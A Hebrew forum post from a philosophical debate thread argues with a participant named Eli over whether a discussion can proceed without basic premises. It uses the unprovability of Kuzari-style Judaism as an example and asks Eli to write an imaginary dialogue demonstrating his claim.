זה דבר אחר מאשר להתחיל ללא הנחות יסוד. כאן יש אזהרה שצריך לזכור לגבי התוצאות. דיון חופשי פירושו לא להיות מחוייב לתוצאות.
ולהפך, לנהל דיון פירושו להיות מחוייב ללוגיקה, ולכן לדחות מסקנות שיוכחו כשקריות (אם ניתן להוכיח זאת).
לדוגמא, איני סבור שניתן להוכיח שהיהדות, בגרסה הריה"לית שלה, אינה נכונה. אבל ניתן להוכיח שיהדות ריה"לית אינה ניתנת להוכחה ברמה הפיזיקלית או הלוגית (מה שאין כן היסטורית).
לעתים מסקנה ברמת העל, המטא-דיון, גם היא חשובה.
באמצע דבריו כתב חברנו אליס
לדעתו [של מיימוני] לא ניתן לקיים דיון ללא הנחות יסוד. לדעתי ניתן. קל מאוד לקבוע מי צודק - אני מציע כאן ועכשיו לערוך דיון כזה.
אם אנו מדברים על הנחות יסוד שעליהן יושתת הדיון, איני מבין את דברי אלי. יש כאן אפילו מעגלי קסמים (שאפשר לנסות לעקוף). לעיל הצגתי הנחות יסוד כאלו. אז אולי כדאי שאלי יציג דוגמא לדברים אלו. למשל, על ידי חיבור דו שיח דמיוני קצר בין שנים שמנהלים דיון ללא הנחות יסוד.
|
|
|
|
|
|
 |
|
|
|
|
| מנהל לחץ כאן לנעילת האשכול
|
|
